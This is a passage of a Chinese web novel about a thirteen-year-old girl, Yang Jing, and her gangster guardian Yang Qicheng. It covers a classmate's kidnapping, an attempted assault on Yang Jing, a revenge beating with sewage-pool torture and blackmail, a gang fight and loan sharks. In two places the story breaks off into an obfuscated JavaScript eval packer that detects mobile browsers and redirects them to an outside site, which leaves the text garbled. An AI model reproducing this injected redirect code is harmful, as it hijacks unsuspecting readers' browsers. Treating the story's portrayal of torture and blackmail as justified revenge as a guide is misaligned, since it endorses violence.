“就在前面少年宫排练,不远。”杨静觑着他的表情,“我回来之前都先给你打个电话,行么?” 杨启程想了想,“九点半。” 杨静爽快点头。 杨静当然不用演话剧。 她跟了刘伊雪整整一周,把周边状况摸得一清二楚,也彻底掌握了刘伊雪的作息规律。 一周后的一个早自习,杨静被厉昀请去办公室。 其他老师要么还没来,要么去盯着学生朝读,办公室里就她们两个人。 厉昀让杨静坐下,先问:“期中考试的成绩单怎么没签字?” 杨静眼也没眨,“我哥那几天没在家。” “你一个人?” “嗯。” “那你哥现在回来了吗,我想请他来学校谈一谈。” 杨静抬起目光。 厉昀看着她,安抚道:“杨静,你别紧张,我就想了解一下你现在的监护人的状况。” “他不会来的。” “为什么?” 杨静顿了顿,“……他很忙,白天要上班。” “那我找个时间去你家看看,方便吗?” “不是很方便。” 厉昀叹了声气。 她以前并未对杨静投入太多关注,因为杨静虽说是单亲家庭,但一直以来除了成绩一般之外,没做过任何出格的事,和班里大多数学生一样。 直到前两周,杨静旷课好几天,厉昀才知道她妈妈去世了。 厉昀那时和杨静稍稍谈了两句,杨静看起来十分平静。 又观察了两周,杨静依然十分平静,厉昀却无法平静了。 她读师范时修过心理学,总觉得杨静的反应有点像是创伤后应激障碍。照理说,半大的孩子失去了最亲的血亲,怎么也应该伤心萎靡一阵,杨静却没有表现出半点失去亲人之后该有的样子。 “我还是希望尽量能跟你哥哥谈一谈。” 杨静垂下目光,“我问他一下。” 厉昀点了点头,看着杨静,顿了数秒,又说:“杨静,昨天你后桌刘伊雪没来,你注意到了吗?” 杨静抬眼,“她怎么了?” “她周日晚上出去买东西,被几个小流氓绑架了。” 杨静露出惊讶之色,“不会吧?她受伤了吗?” “那倒没有,就是被关了四五个小时,吓坏了。” “那还好。” 厉昀张了张口,欲言又止,最后还是摆了摆手,“你回教室吧。” 杨静点头,站起来,乖顺地说了句:“谢谢老师关心。” 厉昀看着杨静背影消失,脸上表情渐渐复杂。 有句话,她没说出口:刘伊雪的被发现的时候,一直歇斯底里地大喊“杨静对不起”。 薄雾细纱一样筛下清晨的日光,杨静脚步轻快,像一阵风一样穿过走廊。 “下回谁打你,你就打回去,没把自己命折进去就是稳赚。” 这回赚大了。 3. (03)报复 放学后,杨静先给缸子打了个电话道谢。 “谢啥,也不是什么大事儿……那小姑娘是你同学?胆儿忒小,吓两下就哭爹喊娘的……” “缸子哥,能不能别把这件事告诉程哥?” “为啥?” 杨静低下头,“因为……” “怕你程哥担心是吧?” 杨静:“……嗯。” “你放心,这么点儿小事,他听都懒得听。” 杨静笑了一笑,又郑重地说了声谢谢。 杨静回扁担巷之前,先去菜场买了鱼和小菜。筒子楼里厨房也是公用的,孙丽以前做饭的厨具还在。 杨静将新鲜的鱼拎到水池里,麻利地宰杀了,洗净去鳞,去掉内脏下水,裹上面粉,放入油锅中里炸。 炸完鱼,又炒了几个小菜,等杨启程回来,全部端上桌。 杨启程看见满桌子菜,一惊,“这你做的?” 杨静仰头,“嗯。” 杨启程拿起筷子挑了一箸,尝了尝,“不赖啊。” 杨静将他手轻轻一打,“程哥,你还没洗手。” “……” 杨启程冲了个澡,回来时桌上多了两瓶冰镇啤酒。杨启程将瓶盖在桌沿上撬开,就着瓶口咕噜喝下半瓶,坐下吃菜,“说吧,这回又在算计什么?” 杨静跟着坐下,“程哥,我们班主任想跟你谈一谈。” “惹什么事了?” 杨静观察着杨启程的表情,“我把欺负我的女生教训了一顿。” 杨启程瞥她一眼,“怎么教训的?” 杨静只说,“老师想跟你谈这件事,可能想让我跟那个女生道歉。” “道个屁,你们老师有病吧。” “所以你会去么,程哥?” 杨启程喝了口啤酒,“不去。” 杨静勾了勾嘴角,给杨启程夹菜。 又过了几天,刘伊雪回来上课了,看见杨静就跟见了鬼一样,飞快躲开。之后,刘伊雪找了个借口,和最外面那排的一个女生换了座位,从此彻底远离了杨静。 杨静本以为这事儿就这么结束了,直到周五放学回家,在筒子楼门口看见了厉昀。 杨静悄无声息地走过去,“厉老师。” 厉昀吓了一跳,抚着胸膛,“杨静。” “您怎么在这儿?” 厉昀神色有些尴尬,“杨静,你别误会,我就是有点担心你。” “我哥不在。” “那我能去你家坐坐吗?” “我家里没收拾,蛮乱的。” 厉昀脸皮薄,也不好继续坚持了,笑了笑,只好说:“那我等你们方便的时候再来吧。” 厉昀匆匆离开了筒子楼,在巷口的时候,与一个身材高大的男人擦身而过。 男人穿了件黑色的背心,古铜色肌肤,一身紧实的腱子肉。 厉昀忍不住多看了一眼。 杨启程吹着歌穿过巷子,却见杨静正站在楼前遥望巷口。 杨启程在她脑袋上拍了一掌,“站这儿干什么?” 杨静摇头,“没什么,正准备上去的。” 吃过晚饭,杨启程说:“明天我有事儿,回来很晚,你把门锁好。” 杨静问:“又去看夜场么?” 杨启程瞥她一眼。 杨静自知失言,立即抿紧了嘴。 第二天是周六,杨静把积了几天的衣服全部洗完,然后留在房里看电视。临近十点,就在她打算去睡觉的时候,听见门外隐隐响起几下拍门声。 杨静立即将电视调成静音,竖起耳朵。 “咚咚咚咚”,又是几下。 杨静触电一样从床上跳起来,鞋都没来得及穿,跑去打开门。 走廊里站着个身材臃肿的男人,酒气熏天,西服搭在肩上,拿俩手指勾着衣领。他靠着墙壁,拍着对面的门板,“丽丽,开门!” 杨静心情立时从云霄跌落而下,冷着脸:“我妈死了。” 男人转个身,看向杨静,目光好半晌才聚焦,笑了一声,趔趄两步,走到杨静跟前,“这不是静静么,你怎么在对门儿?我敲错门了?” 杨静不想理他,伸手关门。 男人立马伸出一臂卡进门框,“你妈呢?” “不是说了么,死了。” “啥时候死的?” 他一开口,浓烈的酒味直冲鼻腔。 杨静皱眉,伸手去掰男人的手臂,“死透了,你别来了。” 男人嘿嘿一笑,“我人都来了,这会儿头晕,你让我进去喝杯茶,再顺道给你妈上柱香。好歹来往一场,我送她一程。” 杨静咬紧了后槽牙,继续掰男人手臂。 “乖,让我进去坐一会儿。” “你快滚,不然我叫人了。” 男人又是嘿嘿一笑,“有本事你叫?”说罢,顺势将杨静一推,卡进半个身子。 杨静急了,使劲推他,然而没起到半点作用。 男人借着体力优势,几下挤进屋里,顺手摔上门。 杨静心里发毛,赶紧去掰门把手。刚一够上,手背被一只肥腻的大手团住。 杨静厉声喊:“你干什么!” 男人猥琐地在杨静手背上捏了一下,嘴里一下一下喷出酒气,“静儿,听话,去给伯伯倒杯茶。” 杨静心里只泛恶心,反手就是一巴掌。 男人脸一沉,将杨静两臂一箍,往门板上一压,扬手抽回去,“臭婊.子,给脸不要脸!” 杨静被扇得眼前一黑。 她这下是真怕了,双腿打摆子,眼泪哗哗往下流,“我错了我错了!我求求你,放开我!” 男人哪里肯听,两条钢筋一样的铁臂箍住杨静,像箍着小鸡仔细瘦的脖子,臭烘烘的嘴到处乱拱。 杨静一边哭一边扭头去躲,直到被男人臃肿的身体压在了水泥地上。 “咚”的一声,她后脑勺撞到了什么,疼得她脑袋里嗡地一响。 她伸手去摸。 是放在门背后的铁撮箕,把儿断了,只剩个斗。 杨静想也没想,抄起来往男人脑袋上砸。 男人被砸懵了,闷哼一声,手臂松开。 杨静一个挺身爬起来,使出吃奶的劲儿。 一下,两下,三下…… 男人满头油汗,额头上一道血迹,蚯蚓一样蜿蜒而下,顺着眼窝滴下来。 杨静一愣,丢了撮箕,打开门,没命地奔出去。 过堂风嗖嗖卷起地上的垃圾,背上的汗被吹干,脊背发冷。 巷子里灯火稀疏,远远的一声狗吠。 杨静停了脚步,浑身发抖,站了一会儿,朝着有光的地方飞奔而去。 她蹲在巷子外马路上的路灯底下,抱着膝盖,瞪大双眼,一动不动盯着路口。 不知过了多久,前方靠边停了辆金杯,紧接着一个身材高大的男人跳下来。 杨静霍地站起来。 站久了双腿发麻,她眼前发黑,差点一头栽下去,赶紧扶着路灯柱子。 她张了张口,“……” 没发出声音。 又张了张口,“……哥!” 杨启程没听见,大步往巷子里走。 杨静飞快追上去:“哥!哥!” 杨启程脚步一顿,转头一看,“你怎么在这儿?” 杨静想也没想,一把抱住他,嚎啕大哭。 杨启程有点懵,“怎么了?” “……哥,我……我杀人了!” “你说清楚,怎么回事?” 怀里小姑娘抖得像片枯叶。 杨启程捏着她肩膀,把她往外一扯,“不准哭了!” 杨静哭得更凶。 杨启程竖起一指,“我数一二三,你再哭一声……” 杨静立即拿手掌捂住嘴,猛吸气,抽了几下。 “人在哪儿?” “家,家里。” 杨启程飞快往里走,杨静小跑跟上。 到了409门口,杨启程顿了顿,回头望了杨静一眼,“你转过去。” 杨静照做。 杨启程掏出钥匙,神情凝重地打开了门。 静了片刻。 “杨静,你玩老子是吧?” 杨静一怔,扒开杨启程奔进屋。 地上没人了,只躺着东倒西歪的撮箕。 杨静眸光一沉,紧抿着嘴蹲下.身,扫了一眼,忽说:“这儿有血迹!” 杨启程跟着一蹲,往灰扑扑的水泥地上看了一眼,几个模糊的暗红色指印,旁边还有几点快要凝固的血滴。 杨静瞅他一眼,见他神色凝重,嘴一瘪,又要哭。 “嚎什么嚎!人还能跑,肯定没死。你先说说,这怎么回事?” 恶心绝望的感受再次涌上来,杨静垂下眼,嗓子里像是卡着一块热炭。 半晌,“……是我妈的一个……客人。” 杨启程一愣。 “……他进来,让我给他倒茶,我没答应……他抱住我……” 杨启程霍地站起来,“行了,我知道了。” 杨静一怔,仰头看他。 杨启程沉着脸,眉头紧拧,掏出手机,“你赶紧去洗个澡,早点睡。” 杨静眼珠子一黯,“哦”了一声。 杨启程飞快拨通了号码,“缸子,帮忙找个人……睡你大爷!回头老子给你找十个女人,你他妈别废话,赶紧起来……杨静被人欺负了……” 杨静正在拿衣服和毛巾,听见这话,一顿。 杨启程看向杨静,“那人长什么样?” 杨静忙说:“很胖,很高……耳朵上有个很大的痦子……”她试着回想了一下方才的情况,汗毛倒竖,忍不住打了个冷颤,“……嘴巴很臭,身上也有狐臭,手……” 杨启程打断她:“知不知道他干什么的?” 杨静想了想,“他曾经跟我妈提过什么账没收齐,厂里不能开工,积压了一批澳洲的羊毛材料……” “还有吗?” 杨静皱眉,使劲回想,“……还有,排水系统没通过,要请什么王局长吃饭……” “没了?” 杨静摇头,“想不起来了。” 杨启程点了点头,将杨静所说的向缸子复述了一遍。 他嘴里连串地冒脏字,频率比平时更高。 杨静不觉捏紧了手里的毛巾,看着杨启程。 天开始热了,屋里又不通风,汗珠沿着他的眉骨往下淌。他眉心紧皱,沉肃的脸上一股戾气。 少顷,杨启程打完。 杨静低声问:“程哥,找到他了,打算干什么?” “看他死没死。” “死了呢?” “死了最好。” “没死呢?” 杨启程背着光,神情阴鸷,“没死,那就等着下半辈子生不如死。” 杨静又打了一个冷颤,但这次却不是因为害怕。 一种莫名的兴奋,像一注岩浆,在她血液里飞快流窜。 · 一周后的深夜,杨静刚刚进入睡梦中,外头响起砰砰砰”的敲门声。 她将帘子一掀,揉了揉眼睛,正要起身,黑暗里外面床上杨启程身影一闪。 杨静暂时躺着没动。 门外面传来缸子的声音:“……人找着了。” 杨启程:“我进去穿件衣服。” 赶赶咐咐的一阵,杨启程脚步声到了门口,“走吧。” 随后,门“砰”一声摔上。 杨静在心里数了十秒,赶紧爬起来,跟上前去。 楼道里昏暗无光,杨静怕杨启程发现,没敢开灯,摸着墙一阶一阶下去。 到楼梯口,巷子里稍微亮了几分,杨启程和缸子已经到了巷口。 杨静怕跟丢了,小跑一阵。 到了巷口,没看见两人身影,只巷外马路上停了辆破金杯。 附近很难打到出租车,而摩的和麻木车这会儿都已休息了。 杨静正愁该怎么办,前方车门忽然打开,杨启程钻出来。 杨静吓了一跳,赶紧往回跑,往阴影里躲。 后面脚步声越来越快,杨静也跟着越跑越快。 “跑!再跑!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609376|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨静停下来,喘了口气,回头,“程哥……” 杨启程嘴里叼着烟,居高临下看她,“有闲心啊,大半夜出来散步?” “我……我想跟你去看看。” “看屁,赶紧给老子回去睡觉!” 杨静眼巴巴看着他:“我不下车,就在车上,让我看一眼。” “没得商量,赶紧回去!” “程哥……” “我手机在床上,十分钟后我打电话,你要没接,明早给我卷铺盖滚蛋。” 杨静“哦”了一声,失望地往回走。 走出去两步,她回头看一眼。 黑暗里,杨启程正迎着光走。 像座山,风雨不动。 杨启程重回到车上,缸子问:“打发回去了?” “嗯。” 缸子笑说:“我之前还以为这小姑娘性格老实,结果有点城府。” 杨启程闷头抽烟,“人在哪儿找到的?” “宏兴地毯厂。他家里有老婆有孩子,不好解释脑袋上伤怎么来的,这两天一直住在厂里。我们找到他的时候,他正在跟厂里一个女工干得火热,经这一吓唬,今后他那.话.儿估计都不顶事了哈哈哈!” 杨启程:“你他妈就喜欢下三路。” 缸子嘿嘿一笑,“人我让兄弟几个绑起来了,就看你打算怎么整。” “怎么整?往死里整。” 缸子看杨启程一眼,“老杨,我正要跟你说这事儿。你得答应我,去了你自己不准动手,我叫停,你得听我的。整出人命来,不值当。” 杨启程猛吸了口烟,“行。” 金杯拐出市区,在近郊的一处厂房外停下。 一个寸头男人迎上来给杨启程和缸子找烟,“杨哥,曹哥。” 杨启程和缸子跟着寸头走进厂里,那人眼睛蒙住,被反绑在一架机床的腿上,嘴里塞着棉袜。 寸头刚把棉袜扯出来,男人立即呜呜哭号,脸上肥肉跟着抖:“求求你们放了我!要多少钱我都给!我都能给!我家里还有老婆孩子……” 杨启程咬着香烟的滤嘴,一脚踹上去,不遗余力,那男人立即敞开嗓子发出杀猪般的凄厉叫声。 缸子赶紧上来拉他,“兄弟,兄弟,咱在车上讲好了,你不准动手。” 缸子将杨启程拦在身后,吩咐:“去外面捡个麻袋套起来,避开要害,使劲揍——注意分寸,别弄死了,留口气。” 说完,将杨启程往外拉,“走走,咱出去抽烟。” 郊外视野开阔,夜空中一轮朗月。 缸子瞅着月亮,一边吞云吐雾,一边说:“别说,这地方空气还不错。” 过了一会儿,“……它娘的,什么味儿这么臭。” 杨启程:“……” 缸子站起来,循着臭味绕到了厂房后面。 几排粗大的管子,连着一个巨大的污水池子,臭气熏天。 缸子吐了烟,回到前面,朝里面一喝:“停手停手!把这龟儿子拖出来!” 几人照缸子的吩咐将人拖到了污水池旁,将男人头摁下去浮起来,浮起来摁下去,持续了十来分钟,缸子抬脚踩着他脑袋,“喝饱了吗?” 男人只剩喘气的劲儿了,连说:“饱了饱了饱了!” 缸子看向杨启程:“老杨,要不就这么着了吧?就灌了几斤马尿,一时没管住脑子,再说,也没遭到什么实际损害不是?” 杨启程顿了一会儿,点头。 缸子一招手,几人将男人从污水池里拖出来。 缸子抬脚踩着他的手指,一分一分用力,“下面这几句话,你可听清楚了。” 男人猛点头,“您说你说!” “你要是敢报警,或是今后再往扁担巷去一步,爷我就把你跟你厂里女工乱搞的照片印成大字报,往你小区门口啊,你老婆公司啊,你丈母娘家里啊,还有你儿子学校的墙上,这么一糊,保管让你在旦城无人不知无人不晓。” 缸子脚底狠狠一碾,“听明白了吗?” “明白了明白了!” 缸子收脚,抬手招呼:“收工收工了!杨哥请你们吃麻小!” 杨启程笑骂:“你他妈倒是挺会替我做人情。” “兄弟们前前后后替你忙了一周,吃你一顿怎么了?” 杨启程放声说:“放开吃!曹哥买单!” 缸子:“……日你大爷!” 七八人浩浩荡荡地离开厂区范围,缸子笑说:“你说,这厂长灌了一肚子污水,今后要是寻思着把这污水处理系统好好整一整,咱几个是不是也算干了件替天行道的大好事儿?” “干着作奸犯科的勾当,还想着替天行道?你他妈怎么一开始不报警.校呢?” 缸子:“报了啊,没考上。” 杨启程:“……” 缸子又说:“之前我说杨静这妮子是个美人胚子你还不信,这才十三岁,再过几年长开了,啧啧……” 杨启程沉了目光,一时没吭声。 几人已走到了路边,道旁野草疯长。 忽然,前方一览无余的公路上毫无征兆地现出了四道亮光。 杨启程神色一凛:“上车!” 车子刚发动,两辆面包车迎头而来,并排将道路一拦。 缸子咬着牙,倒车,后视镜里光线一闪。他探出头往后一望,“操!”后退的路同样被两车堵死。 缸子猛砸了一下方向盘,“这他妈是有备而来的?” 杨启程没说话,拉开车门跳下去。 缸子愣了一下,也跟着下去。 其他几人陆陆续续也都下了车,围在杨启程和缸子身边,等着吩咐。 拦路的四辆车上的人也都下来了,一共十五人,前七后八。 缸子盯着看了一眼,“老乌的人。” “怎么跟来的?” “估计这几天帮你找人,动静闹得有点大,被他们盯住了。”缸子看他,“怎么办?” 杨启程眯眼,“能怎么办?打一个不亏,打两个稳赚。” 说罢,将后备箱一掀,拎出根沉甸甸的钢管。 4. (04)单纯与清澈 半小时,杨启程和缸子的人顺利脱出,到了安全的地方,清点战果。 缸子笑说:“爷一人干翻三个,宝刀未老!” “我两个!” “我一个!但是他们十六个车轮子都让我捅破了!“ “傻.逼!一车捅破一个就成,你他妈捅十六个,吃饱撑的?” “……” 杨启程闷声靠着车身,扯掉身上的被血浸透了的背心。 缸子跟人乐了一圈,没看见杨启程,回头一看,“你干啥一个人在这儿?装.逼?” 杨启程比了一掌。 缸子一愣,也伸出手掌,跟他一击,“耶!” “……”杨启程黑着脸,“老子想说打了五个!” 缸子挠挠后脑勺,“哈哈!不错啊兄弟。” “最后那下要不是老子替你挨了,这会儿你就到阎王跟前吹吧!”说着,嘴里嘶了一声,扭头去碰背上的伤口。 缸子一惊,忙抓着杨启程的肩将他翻了个个儿。 近一尺长的口子,皮肉都翻了过来。 “这得赶紧送医院。” “诊所里敷个药得了,明天还有事。 缸子瞥他,“明天你就别去了,你还怕我一人镇不住?” 杨启程想了想,点头,“行,请客我先欠着。” 缸子将杨启程送回扁担巷,临走前嘱咐:“你躺会儿,起床了赶紧去诊所上药。” 杨静心里挂着杨启程的事,睡不踏实。睡一阵醒一阵,迷迷糊糊听见敲门声,立即一个激灵,飞快爬起来。 打开门,一股血腥味扑面而来。 杨静惊叫:“程哥,你受伤了?” 杨启程进屋,在床板上坐下,咬牙忍了会儿,抬头看杨静,“去打盆凉水来。” 杨静二话不说,拎上塑料桶接了半桶水提回来。 杨启程将毛巾投进水中,伸手去捞,扯着背后伤口,立即抿紧了嘴。 杨静忙将他手一格,“我来!” 杨启程也不推辞了,“把背上血擦一擦,别碰到伤口。” 杨静点头,拧干毛巾,单腿跪在床板上,侧身看向杨启程后背。 伤口在肩胛骨上,狰狞可怖,血已经止了,背上全是半干的血迹。 杨静吸了口凉气,手指轻轻发抖,攥着毛巾的一角,缓缓探上前。 擦了一下,问:“疼不疼?” “不疼。” 又擦了一下,“疼不疼。” “不疼。” 擦到了伤口边缘的地方,“疼不疼。” “……别磨磨唧唧!快点儿擦!” 话音刚落,有什么滴在了背上。 杨启程愣了一下。 “程哥,对不起……要不是我……” 哭腔。 杨启程回头。 杨静低垂着头,眼睫毛沾了水滴,鼻头泛红。 毛巾的一角轻轻缓缓地贴着他背上的肌肉。 “不是为了你,”杨启程别过头,“换成别的人,在我地盘上被人欺负了,我都不会不管。” 他背上疼得要命,这会儿语气却难得十分和缓。 没有人能轻易拒绝别人真心实意的关心。 然而他耐心也就能维持这么一小会儿,“别哭了!赶紧擦完,老子要睡觉。” 杨静憋着泪,稍稍加快了动作。 终于擦完,她将毛巾扔进桶里,清水立即被染成血色。 “抽屉里有卷纱布,还有酒精,拿过来。” 杨启程的东西,杨静没敢乱翻。 两个抽屉里,全都乱七八糟,找了一会儿,翻出一只塑料袋,所有药品都在里面。 杨静将塑料袋扯出来,又带出一串乱七八糟的东西。 其中有个白色的小纸袋,装登记照的。 “快点!” 杨静“哦”了一声,赶紧提起整个袋子回到床边。 她用棉签沾着酒精,给伤口边缘消毒。 碰到的时候,杨启程嘴里嘶了一声,她也跟着手一抖,“对不起。” 飞快消完毒,杨静将纱布展开,从肩头到腋下,缠住杨启程肩胛骨上的伤口。 等她处理完桶里的血水回来时,杨启程已经倒头睡下了。 杨静收拾好塑料袋子,拉开抽屉的时候,再次看到了那个装登记照的白色小纸袋。 她回头看了一眼,杨启程睡得很沉。 她将纸袋打开。 里面有张登记照,很旧,边角泛黄。 红色的幕布背景,一个扎马尾的女孩,约莫十四五岁,面庞清秀,眼睛明亮,微微笑着,露出颊上的一个梨涡。 离天亮仅剩几小时,杨静定了个闹钟,打算抓紧时间休息一会儿。 屋内杨启程的鼾声均匀细微。 杨静睡不着。 她翻了个身,躺一小会儿;又翻一个身,再躺一小会儿。 最后翻了个身,平躺着盯着头顶上空。 黑漆漆的,什么也看不见。 杨静起了个大早,给自己和杨启程买早餐,拎着豆浆油条回到筒子楼,杨启程还没起床。 她挂心他的伤势,然而又不好吵醒他,悄悄站在床边看他一会儿,给他留个条儿在桌上,出发去学校。 杨启程一觉睡到中午。 桌上早餐早就冷了,他抽出一根油条,嚼了两口,看见旁边搁着一张纸条。 拿起来一看,杨静写的:程哥,醒了去医院看看,切记切记!!! 三个感叹号。 杨启程鼻子里笑了一声,拆开已经冷了的豆浆的包装,喝掉大半杯,换了身衣服,去诊所。 上完药,在楼下随便将就一顿,回房间接着睡。睡到下午两点,被缸子的电话吵醒。 缸子声音急切:“老杨,你伤好点了没?” “怎么了?” “你要是能行,过来一趟吧,老乌的人找上门来了……” 杨启程一个翻身起来,“我马上来。” 下午放学,杨静没在学校耽误,第一时间回家。 谁知杨启程仍然躺在床上。 杨静吓了一跳,以为他睡了一整天,仔细一看,桌上的早餐没了,杨启程身上也穿了衣服。 杨静坐到床边,试探性地喊了一声:“程哥。” 杨启程没应,也没动。 “程哥?” 杨静伸手点了点他的肩膀,仍然没有反应。 杨静便握住他膀子,伸手一推,一愣。 手心里热烘烘的。 杨静忙拿掌心试了试他额头,滚烫。一摸脖子,同样如此。 她费力地将杨启程翻了个身,肩胛骨上,白色的上衣已有血渗出来。 天热,估计是发炎了。 她记得昨晚那塑料袋里是有消炎药的,翻出来一看,全过期了。 她从自己睡觉的床垫里抠出布包,数出一张,想了想,又拿出一张,仔细揣进口袋。 正走到门口,忽见走廊那头走来四个人。 为首的那个几分眼熟,杨静想了想,上回的“粗噶男声”! 屋漏偏逢连夜雨。 杨静忙将门摔上,然而那四人已循声而来。 “杨启程!” 门板被踢得几乎散架,杨静背靠着,咬紧唇,不做声。 “老子知道你在里头!有本事你今天就甭出来了!看他妈谁耗得过谁!” 杨静重回到窗边,又拿手掌探了探杨启程身上,烫得几乎能烙饼。 小坐了一会儿,外面忽然没声了。 杨静走去门口,趴在地上,顺着门板下的缝往外看了一眼,齐刷刷的几条腿,人还没走。 正要起来,那门板又是“咚”的一声,吓得杨静差点跌过去。 天色渐暗,杨静枯坐着,时不时被突如其来的踢门声惊得一跳。 她将暖水瓶里的水倒在桶里,放凉了给杨启程擦了擦身体,然而擦了一道又一道,丝毫没有退烧的迹象。 窗外传来辣椒炒肉的呛人香味,巷子里狗吠阵阵,天色越来越暗。 等不了了。 杨静深吸一口气,上前去打开门。 “哟哟憋不住了——怎么是你?这回你妈去哪儿?阎王殿?” 后面几人哈哈大笑。 杨静冷眼看着“粗噶男声”,“什么事?” “什么事?”“粗噶男声”一脚踹开门板,大摇大摆走进屋内,“还债!” 杨静忙几步退到床边,将杨启程拦在身后,“多少,我替他还!” “粗噶男声”斜眼上下打量,“你还?你知道这孙子欠了多少吗?二十万!一分的利!” 杨静张了张口,“……一分的利是什么意思?” “粗噶男声”将她往外一扯,“甭废话!杨启程,别他妈挺尸了!赶紧还钱!” 杨静忙去拉“粗噶男声”,“你别动他。” “粗噶男声”一眼瞅见杨启程背后的伤,一巴掌呼上去,“嗬!挂彩了!” 杨启程无意识地闷哼了一声。 杨静只感觉神经也疼得一扯,抬手将“粗噶男声”猛地往后一扯,“你别动他!” “粗噶男声”脚里趔趄了一下,站稳,“我操.你妈!老子就动了,怎么着!” “钱我替他还!八千够了吗?” 四人静了一下。 放高利贷的,哪指望真一次性收起,一月一月,刮点儿利。 杨静将床垫里那布包抠出来,往“粗噶男声”男生手里一拍,“赶紧滚!” “粗噶男声”笑了一声,“嗬,欠债的还当起大爷了!就这么点? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609377|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “就这么多,还剩条命,你要不要?” 她瞪着眼,眼白里泛着血丝,神色狠厉,像头被逼到绝路的幼崽。 “粗噶男声”掂了掂手里的布包,“这次就饶了你,下回老实点儿!”一挥手,“走走走!收工吃饭!”四人簇拥吆喝着走了。 杨静浑身脱力,在床沿上坐了会儿,抹了抹眼睛,一摸裤子口袋,那两百块还在,她得赶紧去给杨启程买药。 刚到楼梯口,和缸子迎面撞上。 杨静瘪了瘪嘴,“缸子哥。” “我刚在巷口碰见老杨债主了,没事儿吧?” 杨静垂着眼。 缸子一惊,“他们上门来了?动没动手?老杨怎么样?” 杨静摇了摇头,“我打发走了。” “怎么打发的?” 杨静微微抬眼,嘴唇微张,终是没说,“程哥发炎了,在发高烧,我去诊所给他买点药。” “我.操,这么严重?你赶紧去吧,我去看看老杨。” 杨静点头,将钥匙给缸子。 杨静刚走出筒子楼,听见上面缸子喊她,“别买药了!他这得送去挂水,你等等!” 缸子哼哧哼哧地将人背下来,“真他妈沉!” 杨静伸手在背后托着杨启程,尽量减轻缸子的负担。 到了诊所,挂上水,没到半个小时,杨启程烧就退了,人也醒了。 杨静赶紧给他倒了杯水。 杨启程咕咕喝完,杯子递给杨静,“再倒点儿。” 缸子起身舒展筋骨,“老杨,我说你行不行啊,又是发炎又是发烧,咋改行当起林黛玉了?” “你他妈就会说风凉话,这刀替谁挨的?还一个人镇得住,镇得住个屁!” 缸子嘿嘿笑了一声,朝着盐水瓶看了一眼,“怎么还剩这么多,这也滴太慢了,赶紧输完了咱出去吃点宵夜!”说着伸手就要去跳流速。 杨静将他手一挡,“缸子哥,别太快了,太快了药起不到效果。” 缸子收回手,“行行行,听你的!我出去抽根儿烟。” 杨启程手撑着床板,用力起身,杨静忙上前帮忙扶她。 杨启程坐起来,想抽烟,瞅了瞅四周,都是病人,便没将烟点燃,只咬着滤嘴,过干瘾。 “今天是不是有人来找我了?” “嗯,上回那四个人。” 杨启程瞥她一眼,“那你怎么打发走的?” 杨静撇下眼,没吭声。 杨启程盯着她,“给钱了?” 杨静还是没吭声。 “给了多少。” “……” “……问你话呢,给了多少?” “八千。” “我他妈……你妈给你留了多少?” “九千。” “……全给了?” “嗯。” 杨启程不说话了,吐出嘴里的烟,心里莫名窜出一股火气,却也不知道该气谁。换做平时,一打四分分钟的事儿。这四人虚张声势地找他要了半年,他一毛钱都没还过。 过了半晌,杨启程吐出一口浊气,“你是不是傻.逼,不会给缸子打电话喊救兵?” 杨静张了张口,这她真没想到。 人一到危机时刻就容易犯蠢。 “……对不起。” 杨启程气得受不了,一巴掌拍她脑袋上,“说你傻.逼你还真傻.逼,你道什么歉?” 杨静不说话了。 她这会儿真觉得委屈,怎么做杨启程都要骂。 可那时候,她只想着快点出去,只想着赶紧给杨启程买到退烧药。她没想那么多。 片刻,杨启程也觉得自己说话有点重,语气和缓了几分,“以后别这么老实了,他们收债的,不敢真正犯事儿,你就赖着,他们能把你怎么着?” 杨静缓缓抬眼,“……可是,你在发烧,我怕你死了。” 她眼睛湿漉漉的,湿漉漉的清澈。 杨启程愣了一下,再说不出话来。 过了片刻,杨启程伸手把流速调快了。 杨静抬眼看了眼,没阻止。 半瓶子药水,十分钟就流完。杨启程自己扯了针头,捻起旁边盘子里的棉花,往针眼儿上一摁,“走吧。” “还要开药。” 杨启程脚步顿了顿,“我先出去,在外面等你。” 杨静拎着药,走出诊所。 今晚上月亮更好,悬在没有一丝云片的天上,月光流水似的淌了一地。 杨启程蹲在一旁的台阶上,仰着头抽烟。 杨静走过去,在他旁边坐下。 两个人都没说话。 只有月光,只有杨启程指间缓缓腾起的烟雾,只有微风,只有远远的,像是在另一个空间的尘世喧嚣。 5. (05)被推离的(上) 缸子溜达回来,瞧见台阶上两个人雕塑似的一动不动,乐了,“你俩干啥呢?饿不饿,出去搓一顿?” 杨启程站起来,一言不发地往回走。 杨静也赶紧起来,“缸子哥,我跟程哥先回去了。” 缸子见杨启程没有大碍,点了点头,“成,你看着点儿他,别让他胡闹,有什么事儿随时打我电话。” 杨静点头,跟缸子告别之后,小跑一阵跟上杨启程的步伐。 巷子里有家餐馆还在营业,杨静摸了摸口袋,打完针买完药,还剩下些钱。杨静扭头一看,杨启程已经走到楼梯口了,赶紧跑过去把口袋里钥匙塞进他手里,“程哥,你先上去,我买两个菜。” 杨静领着两道菜两盒饭上楼,敲了敲门,等了一会儿,没人开;又敲了敲,还是没人开。杨静慌了,怕是杨启程晕倒在里面,急忙使劲拍门,“程哥!程哥!” 几秒钟后,脚步声朝门边靠近,门一下打开,杨启程面色黑沉,“你他妈叫魂呢!” 